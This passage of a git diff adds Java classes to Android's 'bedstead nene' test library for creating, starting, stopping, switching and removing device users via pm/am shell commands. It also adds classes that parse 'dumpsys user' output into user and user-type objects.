+    public ParseResult parse(String dumpsysUsersOutput) throws AdbParseException {
+        mUserTypes = parseUserTypes(dumpsysUsersOutput);
+
+        ParseResult parseResult = super.parse(dumpsysUsersOutput);
+        parseResult.mUserTypes = mUserTypes;
+
+        return parseResult;
+    }
+
+    @Override
+    User.MutableUser parseUser(String userString) throws AdbParseException {
+        // This will be called after parseUserTypes, so the user types are already accessible
+        User.MutableUser user = super.parseUser(userString);
+
+        try {
+            user.mIsPrimary = Boolean.parseBoolean(
+                    userString.split("isPrimary=", 2)[1].split("[ \n]", 2)[0]);
+            user.mType = mUserTypes.get(userString.split("Type: ", 2)[1].split("\n", 2)[0]);
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing user", userString, e);
+        }
+
+        return user;
+    }
+
+    Map<String, UserType> parseUserTypes(String dumpsysUsersOutput) throws AdbParseException {
+        String userTypesList = extractUserTypesList(dumpsysUsersOutput);
+        Set<String> userTypeStrings = extractUserTypesStrings(userTypesList);
+
+        Map<String, UserType> userTypes = new HashMap<>();
+        for (String userTypeString : userTypeStrings) {
+            UserType userType = new UserType(parseUserType(userTypeString));
+            userTypes.put(userType.name(), userType);
+        }
+
+        return userTypes;
+    }
+
+    String extractUserTypesList(String dumpsysUsersOutput) throws AdbParseException {
+        try {
+            return dumpsysUsersOutput.split(
+                    "User types \\(\\d+ types\\):\n", 2)[1].split("\n\n", 2)[0];
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error extracting user types list", dumpsysUsersOutput, e);
+        }
+    }
+
+    Set<String> extractUserTypesStrings(String userTypesList) throws AdbParseException {
+        return extractIndentedSections(userTypesList, USER_TYPES_LIST_BASE_INDENTATION);
+    }
+
+    UserType.MutableUserType parseUserType(String userTypeString) throws AdbParseException {
+        try {
+            UserType.MutableUserType userType = new UserType.MutableUserType();
+
+            userType.mName = userTypeString.split("mName: ", 2)[1].split("\n")[0];
+            userType.mBaseType = new HashSet<>();
+            for (String baseType : userTypeString.split("mBaseType: ", 2)[1]
+                    .split("\n")[0].split("\\|")) {
+                if (!baseType.isEmpty()) {
+                    userType.mBaseType.add(UserType.BaseType.valueOf(baseType));
+                }
+            }
+
+            userType.mEnabled = Boolean.parseBoolean(
+                    userTypeString.split("mEnabled: ", 2)[1].split("\n")[0]);
+            userType.mMaxAllowed = Integer.parseInt(
+                    userTypeString.split("mMaxAllowed: ", 2)[1].split("\n")[0]);
+            userType.mMaxAllowedPerParent = Integer.parseInt(
+                    userTypeString.split("mMaxAllowedPerParent: ", 2)[1].split("\n")[0]);
+
+            return userType;
+        } catch (IndexOutOfBoundsException e) {
+            throw new AdbParseException("Error parsing userType", userTypeString, e);
+        }
+    }
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
new file mode 100644
index 0000000..725724c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UnresolvedUser.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+/**
+ * Default implementation of {@link UserReference}.
+ *
+ * <p>Represents the abstract idea of a {@link User}, which may or may not exist.
+ */
+public final class UnresolvedUser extends UserReference {
+    UnresolvedUser(Users users, int id) {
+        super(users, id);
+    }
+
+    @Override
+    public String toString() {
+        return "UnresolvedUser{id=" + id() + "}";
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
new file mode 100644
index 0000000..d720740
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/User.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.os.Build;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+
+/**
+ * Representation of a user on an Android device.
+ *
+ * <p>{@link User} information represents the state of the device at construction time. To get an
+ * updated reflection of the user on the device, see {@link #resolve()}.
+ */
+public final class User extends UserReference {
+
+    private static final String LOG_TAG = "User";
+
+    public enum UserState {
+        NOT_RUNNING,
+        RUNNING_LOCKED,
+        RUNNING_UNLOCKED,
+        RUNNING_UNLOCKING,
+        STOPPING,
+        SHUTDOWN,
+        UNKNOWN;
+
+        static UserState fromDumpSysValue(String value) {
+            try {
+                return UserState.valueOf(value);
+            } catch (IllegalArgumentException e) {
+                if (value.equals("-1")) {
+                    return NOT_RUNNING;
+                }
+                Log.w(LOG_TAG, "Unknown user state string: " + value);
+                return UNKNOWN;
+            }
+        }
+    }
+
+    static final class MutableUser {
+        Integer mId;
+        @Nullable Integer mSerialNo;
+        @Nullable String mName;
+        @Nullable UserType mType;
+        @Nullable Boolean mHasProfileOwner;
+        @Nullable Boolean mIsPrimary;
+        @Nullable UserState mState;
+        @Nullable Boolean mIsRemoving;
+    }
+
+    private final MutableUser mMutableUser;
+
+    User(Users users, MutableUser mutableUser) {
+        super(users, mutableUser.mId);
+        mMutableUser = mutableUser;
+    }
+
+    /** Get the serial number of the user. */
+    public Integer serialNo() {
+        return mMutableUser.mSerialNo;
+    }
+
+    /** Get the name of the user. */
+    public String name() {
+        return mMutableUser.mName;
+    }
+
+    /** Get the {@link UserState} of the user. */
+    public UserState state() {
+        return mMutableUser.mState;
+    }
+
+    /** True if the user is currently being removed. */
+    public boolean isRemoving() {
+        return mMutableUser.mIsRemoving;
+    }
+
+    /**
+     * Get the user type.
+     *
+     * <p>On Android versions < 11, this will return {@code null}.
+     */
+    @RequiresApi(Build.VERSION_CODES.R)
+    public UserType type() {
+        return mMutableUser.mType;
+    }
+
+    /** {@code true} if the user has a profile owner. */
+    public Boolean hasProfileOwner() {
+        return mMutableUser.mHasProfileOwner;
+    }
+
+    /**
+     * Return {@code true} if this is the primary user.
+     *
+     * <p>On Android versions < 11, this will return {@code null}.
+     */
+    @RequiresApi(Build.VERSION_CODES.R)
+    public Boolean isPrimary() {
+        return mMutableUser.mIsPrimary;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("User{");
+        stringBuilder.append("id=" + mMutableUser.mId);
+        stringBuilder.append(", serialNo=" + mMutableUser.mSerialNo);
+        stringBuilder.append(", name=" + mMutableUser.mName);
+        stringBuilder.append(", type=" + mMutableUser.mType);
+        stringBuilder.append(", hasProfileOwner" + mMutableUser.mHasProfileOwner);
+        stringBuilder.append(", isPrimary=" + mMutableUser.mIsPrimary);
+        stringBuilder.append(", state=" + mMutableUser.mState);
+        stringBuilder.append("}");
+        return stringBuilder.toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
new file mode 100644
index 0000000..4eef5ef
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserBuilder.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.os.Build;
+
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+
+import java.util.UUID;
+
+/**
+ * Builder for creating a new Android User.
+ */
+public class UserBuilder {
+
+    private final Users mUsers;
+    private String mName;
+    private @Nullable UserType mType;
+
+    UserBuilder(Users users) {
+        mUsers = users;
+    }
+
+    public UserBuilder name(String name) {
+        if (name == null) {
+            throw new NullPointerException();
+        }
+        mName = name;
+        return this;
+    }
+
+    @RequiresApi(Build.VERSION_CODES.R)
+    public UserBuilder type(UserType type) {
+        mType = type;
+        return this;
+    }
+
+    /** Create the user. */
+    public UserReference create() {
+        if (mName == null) {
+            mName = UUID.randomUUID().toString();
+        }
+
+        ShellCommand.Builder commandBuilder = ShellCommand.builder("pm create-user");
+
+        if (mType != null) {
+            commandBuilder.addOption("--user-type", mType.name());
+        }
+
+        commandBuilder.addOperand(mName);
+
+        // Expected success string is e.g. "Success: created user id 14"
+        try {
+            int userId = Integer.parseInt(
+                    commandBuilder.executeAndValidateOutput(ShellCommandUtils::startsWithSuccess)
+                    .split("id ")[1].trim());
+            return new UnresolvedUser(mUsers, userId);
+        } catch (AdbException e) {
+            throw new NeneException("Could not create user " + this, e);
+        }
+    }
+
+    /**
+     * Create the user and start it.
+     *
+     * <p>Equivalent of calling {@link #create()} and then {@link User#start()}.
+     */
+    public UserReference createAndStart() {
+        return create().start();
+    }
+
+    @Override
+    public String toString() {
+        return new StringBuilder("UserBuilder{")
+            .append("name=").append(mName)
+            .append(", type=").append(mType)
+            .append("}")
+            .toString();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
new file mode 100644
index 0000000..5c21aef
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserReference.java
@@ -0,0 +1,192 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.User.UserState;
+import com.android.bedstead.nene.utils.ShellCommand;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import javax.annotation.Nullable;
+
+/**
+ * A representation of a User on device which may or may not exist.
+ *
+ * <p>To resolve the user into a {@link User}, see {@link #resolve()}.
+ */
+public abstract class UserReference {
+
+    private static final Context sContext =
+            InstrumentationRegistry.getInstrumentation().getContext();
+    private final Users mUsers;
+    private final int mId;
+
+    UserReference(Users users, int id) {
+        if (users == null) {
+            throw new NullPointerException();
+        }
+        mUsers = users;
+        mId = id;
+    }
+
+    public final int id() {
+        return mId;
+    }
+
+    /**
+     * Get a {@link UserHandle} for the {@link #id()}.
+     */
+    public final UserHandle userHandle() {
+        return UserHandle.of(mId);
+    }
+
+    /**
+     * Get the current state of the {@link User} from the device, or {@code null} if the user does
+     * not exist.
+     */
+    @Nullable
+    public final User resolve() {
+        return mUsers.fetchUser(mId);
+    }
+
+    /**
+     * Remove the user from the device.
+     *
+     * <p>If the user does not exist, or the removal fails for any other reason, a
+     * {@link NeneException} will be thrown.
+     */
+    public final void remove() {
+        try {
+            // Expected success string is "Success: removed user"
+            ShellCommand.builder("pm remove-user")
+                    .addOperand(mId)
+                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+            mUsers.waitForUserToNotExistOrMatch(this, User::isRemoving);
+        } catch (AdbException e) {
+            throw new NeneException("Could not remove user + " + this, e);
+        }
+    }
+
+    /**
+     * Start the user.
+     *
+     * <p>After calling this command, the user will be in the {@link UserState#RUNNING_UNLOCKED}
+     * state.
+     *
+     * <p>If the user does not exist, or the start fails for any other reason, a
+     * {@link NeneException} will be thrown.
+     */
+    //TODO(scottjonathan): Deal with users who won't unlock
+    public UserReference start() {
+        try {
+            // Expected success string is "Success: user started"
+            ShellCommand.builder("am start-user")
+                    .addOperand(mId)
+                    .addOperand("-w")
+                    .executeAndValidateOutput(ShellCommandUtils::startsWithSuccess);
+            User waitedUser = mUsers.waitForUserToNotExistOrMatch(
+                    this, (user) -> user.state() == UserState.RUNNING_UNLOCKED);
+            if (waitedUser == null) {
+                throw new NeneException("User does not exist " + this);
+            }
+        } catch (AdbException e) {
+            throw new NeneException("Could not start user " + this, e);
+        }
+
+        return this;
+    }
+
+    /**
+     * Stop the user.
+     *
+     * <p>After calling this command, the user will be in the {@link UserState#NOT_RUNNING} state.
+     */
+    public UserReference stop() {
+        try {
+            // Expects no output on success or failure
+            ShellCommand.builder("am stop-user")
+                    .addOperand(mId)
+                    .allowEmptyOutput(true)
+                    .executeAndValidateOutput(ShellCommandUtils::doesNotStartWithError);
+            User waitedUser = mUsers.waitForUserToNotExistOrMatch(
+                    this, (user) -> user.state() == UserState.NOT_RUNNING);
+            if (waitedUser == null) {
+                throw new NeneException("User does not exist " + this);
+            }
+        } catch (AdbException e) {
+            throw new NeneException("Could not stop user " + this, e);
+        }
+
+        return this;
+    }
+
+    /**
+     * Make the user the foreground user.
+     */
+    public UserReference switchTo() {
+        try {
+            // TODO(scottjonathan): This will only work when either the user being foregrounded or
+            //  the user being backgrounded is the user running the test. We should support this
+            //  when this is not the case.
+            List<String> intents = new ArrayList<>();
+            intents.add(Intent.ACTION_USER_BACKGROUND);
+            intents.add(Intent.ACTION_USER_FOREGROUND);
+            BlockingBroadcastReceiver broadcastReceiver =
+                    new BlockingBroadcastReceiver(sContext, intents);
+            broadcastReceiver.register();
+
+            // Expects no output on success or failure
+            ShellCommand.builder("am switch-user")
+                    .addOperand(mId)
+                    .allowEmptyOutput(true)
+                    .executeAndValidateOutput(String::isEmpty);
+
+            broadcastReceiver.awaitForBroadcast();
+        } catch (AdbException e) {
+            throw new NeneException("Could not switch to user", e);
+        }
+
+        return this;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof UserReference)) {
+            return false;
+        }
+
+        UserReference other = (UserReference) obj;
+
+        return other.id() == id();
+    }
+
+    @Override
+    public int hashCode() {
+        return id();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
new file mode 100644
index 0000000..17121fe
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import android.os.Build;
+
+import androidx.annotation.RequiresApi;
+
+import java.util.Set;
+
+/**
+ * Represents information about an Android User type.
+ *
+ * <p>Only supported on Android 11 and above.
+ */
+@RequiresApi(Build.VERSION_CODES.R)
+public final class UserType {
+
+    public static final int UNLIMITED = -1;
+
+    public enum BaseType {
+        SYSTEM, PROFILE, FULL
+    }
+
+    static final class MutableUserType {
+        String mName;
+        Set<BaseType> mBaseType;
+        Boolean mEnabled;
+        Integer mMaxAllowed;
+        Integer mMaxAllowedPerParent;
+    }
+
+    private final MutableUserType mMutableUserType;
+
+    UserType(MutableUserType mutableUserType) {
+        mMutableUserType = mutableUserType;
+    }
+
+    public String name() {
+        return mMutableUserType.mName;
+    }
+
+    public Set<BaseType> baseType() {
+        return mMutableUserType.mBaseType;
+    }
+
+    public Boolean enabled() {
+        return mMutableUserType.mEnabled;
+    }
+
+    /**
+     * The maximum number of this user type allowed on the device.
+     *
+     * <p>This value will be {@link #UNLIMITED} if there is no limit.
+     */
+    public Integer maxAllowed() {
+        return mMutableUserType.mMaxAllowed;
+    }
+
+    /**
+     * The maximum number of this user type allowed for a single parent profile
+     *
+     * <p>This value will be {@link #UNLIMITED} if there is no limit.
+     */
+    public Integer maxAllowedPerParent() {
+        return mMutableUserType.mMaxAllowedPerParent;
+    }
+
+    @Override
+    public String toString() {
+        StringBuilder stringBuilder = new StringBuilder("UserType{");
+        stringBuilder.append("name=" + mMutableUserType.mName);
+        stringBuilder.append(", baseType=" + mMutableUserType.mBaseType);
+        stringBuilder.append(", enabled=" + mMutableUserType.mEnabled);
+        stringBuilder.append(", maxAllowed=" + mMutableUserType.mMaxAllowed);
+        stringBuilder.append(", maxAllowedPerParent=" + mMutableUserType.mMaxAllowedPerParent);
+        return stringBuilder.toString();
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (obj == null || !(obj instanceof UserType)) {
+            return false;
+        }
+
+        UserType other = (UserType) obj;
+        return other.name().equals(name());
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
new file mode 100644
index 0000000..7f52a42
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/Users.java
@@ -0,0 +1,187 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.users;
+
+import static android.os.Build.VERSION.SDK_INT;
+import static android.os.Process.myUserHandle;
+
+import android.os.Build;
+import android.os.UserHandle;
+
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.exceptions.AdbParseException;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.utils.ShellCommandUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.Function;
+
+public final class Users {
+
+    private static final long WAIT_FOR_USER_TIMEOUT_MS = 1000 * 60;
+
+    private Map<Integer, User> mCachedUsers = null;
+    private Map<String, UserType> mCachedUserTypes = null;
+    private final AdbUserParser parser = AdbUserParser.get(this, SDK_INT);
+
+    /** Get all {@link User}s on the device. */
+    public Collection<User> all() {
+        fillCache();
+
+        return mCachedUsers.values();
+    }
+
+    /** Get a {@link UserReference} for the user running the current test process. */
+    public UserReference instrumented() {
+        return find(myUserHandle());
+    }
+
+    /** Get a {@link UserReference} for the system user. */
+    public UserReference system() {
+        return find(0);
+    }
+
+    /** Get a {@link UserReference} by {@code id}. */
+    public UserReference find(int id) {
+        return new UnresolvedUser(this, id);
+    }
+
+    /** Get a {@link UserReference} by {@code userHandle}. */
+    public UserReference find(UserHandle userHandle) {
+        return new UnresolvedUser(this, userHandle.getIdentifier());
+    }
+
+    @Nullable
+    User fetchUser(int id) {
+        // TODO(scottjonathan): fillCache probably does more than we need here -
+        //  can we make it more efficient?
+        fillCache();
+
+        return mCachedUsers.get(id);
+    }
+
+    /** Get all supported {@link UserType}s. */
+    @RequiresApi(Build.VERSION_CODES.R)
+    @Nullable
+    public Collection<UserType> supportedTypes() {
+        if (SDK_INT < Build.VERSION_CODES.R) {
+            return null;
+        }
+        if (mCachedUserTypes == null) {
+            // supportedTypes cannot change so we don't need to refill the cache
+            fillCache();
+        }
+        return mCachedUserTypes.values();
+    }
+
+    /** Get a {@link UserType} with the given {@code typeName}, or {@code null} */
+    @RequiresApi(Build.VERSION_CODES.R)
+    @Nullable
+    public UserType supportedType(String typeName) {
+        if (SDK_INT < Build.VERSION_CODES.R) {
+            return null;
+        }
+        if (mCachedUserTypes == null) {
+            // supportedTypes cannot change so we don't need to refill the cache
+            fillCache();
+        }
+        return mCachedUserTypes.get(typeName);
+    }
+
+    /**
+     * Create a new user.
+     */
+    public UserBuilder createUser() {
+        return new UserBuilder(this);
+    }
+
+    private void fillCache() {
+        try {
+            // TODO: Replace use of adb on supported versions of Android
+            String userDumpsysOutput = ShellCommandUtils.executeCommand("dumpsys user");
+            AdbUserParser.ParseResult result = parser.parse(userDumpsysOutput);
+
+            mCachedUsers = result.mUsers;
+            mCachedUserTypes = result.mUserTypes;
+
+            // We don't expose users who are currently being removed
+            mCachedUsers.entrySet().removeIf(
+                    integerUserEntry -> integerUserEntry.getValue().isRemoving());
+
+        } catch (AdbException | AdbParseException e) {
+            throw new RuntimeException("Error filling cache", e);
+        }
+    }
+
+    /**
+     * Block until the user with the given {@code userReference} exists and is in the correct state.
+     *
+     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
+     */
+    User waitForUserToMatch(UserReference userReference, Function<User, Boolean> userChecker) {
+        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ true);
+    }
+
+    /**
+     * Block until the user with the given {@code userReference} to not exist or to be in the
+     * correct state.
+     *
+     * <p>If this cannot be met before a timeout, a {@link NeneException} will be thrown.
+     */
+    @Nullable
+    User waitForUserToNotExistOrMatch(
+            UserReference userReference, Function<User, Boolean> userChecker) {
+        return waitForUserToMatch(userReference, userChecker, /* waitForExist= */ false);
+    }
+
+    @Nullable
+    private User waitForUserToMatch(
+            UserReference userReference, Function<User, Boolean> userChecker,
+            boolean waitForExist) {
+        // TODO(scottjonathan): This is pretty heavy because we resolve everything when we know we
+        //  are throwing away everything except one user. Optimise
+        try {
+            AtomicReference<User> returnUser = new AtomicReference<>();
+            PollingCheck.waitFor(WAIT_FOR_USER_TIMEOUT_MS, () -> {
+                User user = userReference.resolve();
+                returnUser.set(user);
+                if (user == null) {
+                    return !waitForExist;
+                }
+                return userChecker.apply(user);
+            });
+            return returnUser.get();
+        } catch (AssertionError e) {
+            User user = userReference.resolve();
+
+            if (user == null) {
+                throw new NeneException(
+                        "Timed out waiting for user state for user "
+                                + userReference + ". User does not exist.", e);
+            }
+            throw new NeneException(
+                    "Timed out waiting for user state, current state " + user, e
+            );
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java
new file mode 100644
index 0000000..42019eb
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ParserUtils.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import com.android.bedstead.nene.exceptions.AdbParseException;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Utilities for parsing adb output.
+ */
+public final class ParserUtils {
+    private ParserUtils() {
+
+    }
+
+    /**
+     * When passed a list of sections, which are organised using significant whitespace, split
+     * them into a separate string per section.
+     *
+     * <p>For example:
+     * {@code
+     * section1
+     *     a
+     *         alpha
+     *         beta
+     *     b
+     *     c
+     * section2
+     *     a2
+     *     b2
+     * }
+     *
+     * <p>Using {@link #extractIndentedSections(String, int)} with this string, and a
+     * {@code baseIndentation} of 0 (because there are no spaces before the "section" headings)
+     * would return two strings, one from "section1" to "c" and one from "section2" to "b2".
+     */
+    public static Set<String> extractIndentedSections(String list, int baseIndentation)
+            throws AdbParseException {
+        Set<String> sections = new HashSet<>();
+        String[] lines = list.split("\n");
+        StringBuilder sectionBuilder = null;
+        for (String line : lines) {
+            int indentation = countIndentation(line);
+            if (indentation == baseIndentation) {
+                // New item
+                if (sectionBuilder != null) {
+                    sections.add(sectionBuilder.toString().trim());
+                }
+                sectionBuilder = new StringBuilder(line).append("\n");
+            } else {
+                sectionBuilder.append(line).append("\n");
+            }
+        }
+        sections.add(sectionBuilder.toString().trim());
+        return sections;
+    }
+
+    private static int countIndentation(String s) {
+        String trimmed = s.trim();
+        if (trimmed.isEmpty()) {
+            return s.length();
+        }
+        return s.indexOf(trimmed);
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
new file mode 100644
index 0000000..5c01912
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/utils/ShellCommand.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.utils;
+
+import androidx.annotation.Nullable;
+
+import com.android.bedstead.nene.exceptions.AdbException;
+import com.android.bedstead.nene.users.UserReference;
+
+import java.util.function.Function;
+
+/**
+ * A tool for progressively building and then executing a shell command.
+ */
+public final class ShellCommand {
+
+    public static Builder builder(String command) {
+        if (command == null) {
+            throw new NullPointerException();
+        }
+        return new Builder(command);
+    }
+
+    /**
+     * Create a builder and if {@code userReference} is not {@code null}, add "--user <userId>".
+     */
+    public static Builder builderForUser(@Nullable UserReference userReference, String command) {
+        Builder builder = builder(command);
+        if (userReference != null) {
+            builder.addOption("--user", userReference.id());
+        }
+
+        return builder;
+    }
+
+    public static final class Builder {
+        private final StringBuilder commandBuilder;
+        private byte[] mStdInBytes = null;
+        private boolean mAllowEmptyOutput = false;
+
+        private Builder(String command) {
+            commandBuilder = new StringBuilder(command);
+        }
+
+        /**
+         * Add an option to the command.
+         *
+         * <p>e.g. --user 10
+         */
+        public Builder addOption(String key, Object value) {
+            // TODO: Deal with spaces/etc.
+            commandBuilder.append(" ").append(key).append(" ").append(value);
+            return this;
+        }
+
+        /**
+         * Add an operand to the command.
+         */
+        public Builder addOperand(Object value) {
+            // TODO: Deal with spaces/etc.
+            commandBuilder.append(" ").append(value);
+            return this;
+        }
+
+        /**
+         * If {@code false} an error will be thrown if the command has no output.
+         *
+         * <p>Defaults to {@code false}
+         */
+        public Builder allowEmptyOutput(boolean allowEmptyOutput) {
+            mAllowEmptyOutput = allowEmptyOutput;
+            return this;
+        }
+
+        /**
+         * Write the given {@code stdIn} to standard in.
+         */
+        public Builder writeToStdIn(byte[] stdIn) {
+            mStdInBytes = stdIn;
+            return this;
+        }
+
+        /**
+         * Build the full command including all options and operands.
+         */
+        public String build() {
+            return commandBuilder.toString();
+        }
+
+        /** See {@link ShellCommandUtils#executeCommand(java.lang.String)}. */
+        public String execute() throws AdbException {
+            return ShellCommandUtils.executeCommand(
+                    commandBuilder.toString(),
+                    /* allowEmptyOutput= */ mAllowEmptyOutput,
+                    mStdInBytes);
+        }
+
+        /** See {@link ShellCommandUtils#executeCommandAndValidateOutput(String, Function)}. */
+        public String executeAndValidateOutput(Function<String, Boolean> outputSuccessChecker)
+                throws AdbException {
+            return ShellCommandUtils.executeCommandAndValidateOutput(
+                    commandBuilder.toString(),
+                    /* allowEmptyOutput= */ mAllowEmptyOutput,
+                    mStdInBytes,
+                    outputSuccessChecker);
+        }
+    }
+}
